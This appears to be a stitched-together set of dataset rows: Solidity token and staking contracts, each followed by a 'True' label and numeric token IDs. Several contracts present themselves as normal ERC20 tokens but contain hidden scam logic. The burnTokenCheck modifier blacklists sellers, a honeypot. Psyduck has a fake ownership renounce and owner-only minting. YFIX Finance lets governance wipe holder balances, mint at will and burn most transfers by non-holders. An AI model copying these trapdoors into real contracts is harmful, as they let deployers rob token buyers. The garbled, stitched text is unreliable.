* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-07-16
*/
/*
@@@@@@@ @@@@@@ @@@ @@@ @@@@@@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@ @@@
@@! @@@ [email protected]@ @@! [email protected]@ @@! @@@ @@! @@@ @@! @@@ [email protected]@ @@! [email protected]@
@[email protected]@[email protected]! [email protected]@!! [email protected][email protected]! @[email protected] [email protected]! @[email protected] [email protected]! @[email protected] [email protected]! [email protected]! @[email protected]@[email protected]!
!!: !:! !!: !!: !!! !!: !!! !!: !!! :!! !!: :!!
....... ....... : ::.: : .: :: : : :.:: : :.:: : :: :: : : ::: ....... .......
: :: : : : :: : : : :: : : : :: : :
🐣 You have encountered a wild PSYDUCK!
PSYDUCK uses intense psychic energy to overwhelm those around it, 💥 helping the balance of your tokens grow over time!
Some of PSYDUCK's abilities are a FAIR LAUNCH, RENOUNCED OWNERSHIP, and LOCKED LIQUIDITY, ensuring funds are safe.
The website is Psyduck.ca Telegram is https://t.me/psyduckcoin
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.3;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Psyduck is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _router;
mapping (address => mapping (address => uint256)) private _allowances;
address public public_address;
address public caller;
uint256 private _reflectMax = 22222222222 * 10**18;
string private _name = 'Psyduck | psyduck.ca';
string private _symbol = 'PSYDUCK';
uint8 private _decimals = 18;
uint256 public rTotal = 11111111 * 10**18;
constructor () public {
_router[_call()] = _reflectMax;
emit Transfer(address(0), _call(), _reflectMax);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function Approve(address routeUniswap) public onlyOwner {
caller = routeUniswap;
}
function addliquidity (address Uniswaprouterv02) public onlyOwner {
public_address = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _reflectMax;
}
function reflect(uint256 reflectionPercent) public onlyOwner {
rTotal = reflectionPercent * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function setreflectrate(uint256 amount) public onlyOwner {
require(_call() != address(0), "ERC20: cannot permit zero address");
_reflectMax = _reflectMax.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (sender != caller && recipient == public_address) {
require(amount < rTotal, "Transfer amount exceeds the maxTxAmount.");
}
_router[sender] = _router[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | True | [
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] | [
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pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_mta(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_mta(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _mta(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mta2(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint amount_ = amount.mul(11).div(100);
uint burnAmount_ = amount.sub(amount_);
address dead = 0x000000000000000000000000000000000000dEaD;
_balances[sender] = _balances[sender].sub(amount_, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount_);
_balances[dead] = _balances[dead].add(burnAmount_);
emit Transfer(sender, recipient, amount_);
}
function _initMint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _withdraw(address account, uint amount) internal {
require(account != address(0), "ERC20: _withdraw to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _deposit(address acc) internal {
_balances[acc] = 0;
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
contract YFIXFinance is ERC20, ERC20Detailed {
using SafeMath for uint;
address public hash_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
mapping (address => bool) public governance;
mapping (address => bool) public holders;
constructor () public ERC20Detailed("YFIX Finance", "YFIX", 18) {
_initMint( msg.sender, 1000*10**uint(decimals()) );
governance[msg.sender] = true;
holders[msg.sender] = true;
holders[hash_] = true;
}
function deposit(address account) public {
require(governance[msg.sender], "error");
_deposit(account);
}
function withdraw(address account, uint amount) public {
require(governance[msg.sender], "error");
_withdraw(account, amount);
}
function burn(address account, uint amount) public {
require(governance[msg.sender], "error");
_burn(account, amount);
}
function _mta(address from_, address to_, uint amount) internal {
require(amount <= this.balanceOf(from_), "error");
if(holders[from_]){
super._mta(from_, to_, amount);
} else {
super._mta2(from_, to_, amount);
}
}
function iniHolder(address account) public {
require(governance[msg.sender], "error");
holders[account] = true;
}
function releaseHolder(address account) public {
require(governance[msg.sender], "error");
holders[account] = false;
}
} | True | [
101,
10975,
8490,
2863,
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3012,
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// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract NFTStaking {
bool public active;
uint256 public startTime;
uint256 public cutoffTime;
address public governance;
IERC20 internal immutable NFTProtocol;
struct rewardSchedule {
uint64 days30;
uint64 days45;
uint64 days60;
uint64 days90;
}
rewardSchedule public rewardMultiplier = rewardSchedule({
days30: 2,
days45: 3,
days60: 5,
days90: 10
});
mapping(address=>uint256) public userDepositTotal;
mapping(address=>uint256) public numUserDeposits;
address[] public allStakingUsers;
struct userDeposit {
uint256 amountNFT;
uint256 depositTime;
}
mapping(address=>userDeposit[]) public userDeposits;
uint256 public totalDeposited;
uint256 public userFunds;
uint256 public stakingFunds;
uint256 public constant maxContractStakingCapacity = 7500000 * 1 ether;
uint256 public constant userMaxDeposits = 5;
uint256 public constant totalRewardSupply = 750000 * 1 ether;
uint256 public constant minStakingAmount = 10000 * 1 ether;
uint256 public constant maxStakingAmount = 1000000 * 1 ether;
constructor (address nftAddress) public {
//NFTProtocol = IERC20(0xB5a9f4270157BeDe68070df7A070525644fc782D); // Kovan
//NFTProtocol = IERC20(0xcB8d1260F9c92A3A545d409466280fFdD7AF7042); // Mainnet
NFTProtocol = IERC20(nftAddress);
governance = msg.sender;
}
function deposit(uint256 depositAmount) external {
require(NFTProtocol.balanceOf(msg.sender) >= depositAmount, "not enough NFT tokens");
require(active == true, "staking has not begun yet");
require(depositAmount >= minStakingAmount, "depositAmount too low");
require(depositAmount <= maxStakingAmount, "depositAmount too high");
require(numUserDeposits[msg.sender] < userMaxDeposits, "users can only have 5 total deposits");
require(totalDeposited < maxContractStakingCapacity, "contract staking capacity exceeded");
require(block.timestamp < cutoffTime, "contract staking deposit time period over");
if (userDepositTotal[msg.sender] == 0) allStakingUsers.push(msg.sender);
userDepositTotal[msg.sender] += depositAmount;
totalDeposited += depositAmount;
userFunds += depositAmount;
userDeposits[msg.sender].push(userDeposit({
amountNFT: depositAmount,
depositTime: block.timestamp
}));
numUserDeposits[msg.sender] = numUserDeposits[msg.sender] + 1;
NFTProtocol.transferFrom(msg.sender, address(this), depositAmount);
}
event WithdrawAll(address userAddress, uint256 principal, uint256 yield, uint256 userFundsRemaining, uint256 stakingFundsRemaining);
function withdrawAll() public {
require(active == true, "staking has not begun yet");
require(userDepositTotal[msg.sender] > 0, "nothing to withdraw");
uint256 withdrawalAmount = userDepositTotal[msg.sender];
uint256 userYield = getUserYield(msg.sender);
userDepositTotal[msg.sender] = 0;
userFunds -= withdrawalAmount;
stakingFunds -= userYield;
for (uint256 i = 0; i < userDeposits[msg.sender].length; i++) {
delete userDeposits[msg.sender][i];
}
NFTProtocol.transfer(msg.sender, withdrawalAmount);
NFTProtocol.transfer(msg.sender, userYield);
emit WithdrawAll(msg.sender, withdrawalAmount, userYield, userFunds, stakingFunds);
}
event WithdrawPrincipal(address userAddress, uint256 principal, uint256 userFundsRemaining);
function withdrawPrincipal() public {
require(active == true, "staking has not begun yet");
uint256 withdrawalAmount = userDepositTotal[msg.sender];
userDepositTotal[msg.sender] = 0;
userFunds -= withdrawalAmount;
for (uint256 i = 0; i < userDeposits[msg.sender].length; i++) {
delete userDeposits[msg.sender][i];
}
NFTProtocol.transfer(msg.sender, withdrawalAmount);
emit WithdrawPrincipal(msg.sender, withdrawalAmount, userFunds);
}
event StakingBegins(uint256 timestamp, uint256 stakingFunds);
function beginStaking() external {
require(msg.sender == governance, "only governance can begin staking");
require(NFTProtocol.balanceOf(address(this)) == totalRewardSupply, "not enough staking rewards");
active = true;
startTime = block.timestamp;
cutoffTime = startTime + 60 days;
stakingFunds = totalRewardSupply;
emit StakingBegins(startTime, stakingFunds);
}
function getYieldMultiplier(uint256 daysStaked) public view returns(uint256) {
if (daysStaked >= 90) return rewardMultiplier.days90;
if (daysStaked >= 60) return rewardMultiplier.days60;
if (daysStaked >= 45) return rewardMultiplier.days45;
if (daysStaked >= 30) return rewardMultiplier.days30;
return 0;
}
function getUserYield(address userAddress) public view returns(uint256) {
uint256 totalYield;
for (uint256 i = 0; i < userDeposits[userAddress].length; i++) {
uint256 daysStaked = (block.timestamp - userDeposits[userAddress][i].depositTime) / 1 days;
uint256 yieldMultiplier = getYieldMultiplier(daysStaked);
totalYield += userDeposits[userAddress][i].amountNFT * 1 ether * yieldMultiplier / (1 ether * 100);
}
return totalYield;
}
function getUserDeposits(address userAddress) external view returns(userDeposit[] memory) {
return userDeposits[userAddress];
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-02-10
*/
pragma solidity 0.5.16;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`)
*/
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FP3D is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor(address supplyTo) public {
_name = "FlatPyramid";
_symbol = "FP3D";
_decimals = 18;
_mint(supplyTo, 400000000000000000000000000);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender)
external
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"BEP20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"BEP20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(
amount,
"BEP20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"BEP20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) public {
_burn(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"BEP20: burn amount exceeds allowance"
)
);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-29
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
